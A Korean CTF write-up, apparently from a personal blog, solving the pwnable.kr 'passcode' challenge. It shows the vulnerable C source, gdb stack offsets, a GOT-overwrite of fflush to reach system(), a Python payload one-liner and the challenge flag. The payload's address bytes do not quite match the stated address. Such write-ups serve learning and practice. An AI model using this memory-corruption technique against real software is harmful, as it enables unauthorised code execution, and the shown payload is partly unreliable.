본문 바로가기

Hacking/Pwnable

[ pwnable.kr ] passcode 문제풀이

병아리..

이번에 풀어볼 문제는 passcode라는 문제인데, 다시 ssh를 사용해서 연결한 뒤 푸는 문제이다. 

ssh passcode@pwnable.kr -p2222 (pw:guest)

연결 화면

이번에도 역시 flag와 passcode, passcode의 소스코드 이렇게 3개의 파일이 들어있다.

소스코드를 먼저 보자


cat passcode.c

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

 

제일먼저 main을 보면 문자열을 출력하고 welcome과 login함수를 불러온 뒤 문자열 출력후 종료한다.

여기서는 할 수 있는게 없으니 welcome과 login함수를 보자

 

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

 

welcome함수에서는 name이라는 배열을 100byte만큼 선언하고 name에 입력받은 것을 저장한뒤 출력해준다.

역시 여기서도 할 수 있는것은 없어보인다. 그럼 나머지 login함수를 보자

 

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

 

login함수는 passcode1, passcode2를 선언한 뒤 각각의 변수에 입력을 받아 저장한뒤 fflush라는 함수로 buf의 값을 지워주고 임의의 값과 비교하여 같으면 flag를 실행시키고 아니면 프로그램을 종료시킨다.

저 값과 같은 passcode를 입력하면 풀리면 이건 문제가 아니다 

역시 오류가 일어났다.

그럼 우리가 할 수 있는건 없어보인다. 이번에는 gdb로 passcode를 디버깅해보자

disas welcome

어셈블리 코드를 해석하다보니 입력을 받는 명령을 호출하는데 입력받은 값을 ebp-0x70에 저장한다는 걸 알 수 있다.

이것 말고는 passcode에서 별로 쓸 것이 없는 것 같아서 login함수를 디스어셈블 해봤다.

disas login

여기서는 passcode1을 ebp-0x10에 저장한다는 걸 알 수 있었다.

이 함수가 다르긴하지만 하나의 코드이기 때문에 stack영역을 공유한다. 그렇다면 아까 welcome에서 구한 0x70과 0x10 사이의 거리를 알아보면 0x70 - 0x10 = 0x60 ( 96byte ) 이다.

그런데 어라? 분명 welcome에서는 100byte를 입력받아 저장하는데 4byte가 모자르다. 이 부분을 이용해서 공격할 수 있을 듯 하다.

우리는 공격할 4byte를 확보한 셈이니 4bte를 이용해 어떻게 공격해야할지 생각해야한다. 여기서 fflush를 이용해야 한다.

fflush는 got함수를 이용해서 자신을 호출하는데 이 부분을 조작해 우리가 원하는 함수를 실행시켜줄 수 있다.

즉 system("/bin/cat flag"); 주소로 바꿔주면 fflush 대신 system을 실행시킬것이다.

원래라면 조작할 수 없지만 우리는 4byte가 있기 때문에 이곳에 fflush의 got주소를 입력해 실행시킨 뒤에 system의 주소를 passcode1을 입력받을 때 주어서 다음과 같은 메모리 구조를 가질 것이라 생각한다.

예상 메모리 구조

fflush got 주소로 이동해 그곳에 system 시작 주소를 넣으면 해결될 것 같다.

got주소를 fflush를 이용해서 구해보니 0x804a004가 나왔다.

이제 system의 시작 주소만 있으면 된다. system의 시작 주소는 대놓고 나와있으니 모두 찾은 셈이다.

시작주소는 0x080485e3이다. 하지만 이대로 넣으면 안된다 입력을 받을 때 정수형으로 받기 때문에 정수로 바꿔준뒤에 입력해줘야 한다.

0x080485e3 = 134514147 

페이로드는 다음과 같다

payload : (python -c 'print "A"*96+"\x04\x0a\x04\x08"';cat) | ./passcode

flag : sorry mom.. I got confused about scanf usage :(

'Hacking > Pwnable' 카테고리의 다른 글

[ pwnable.kr ] input 문제풀이  (0) 2019.09.04
[ pwnable.kr ] random 문제 풀이  (0) 2019.09.04
[ pwnable.kr ] flag 문제풀이  (0) 2019.08.30
[ pwnable.kr ] bof 문제풀이  (2) 2019.08.28
[ pwnable.kr ] collision 문제 풀이  (0) 2019.08.27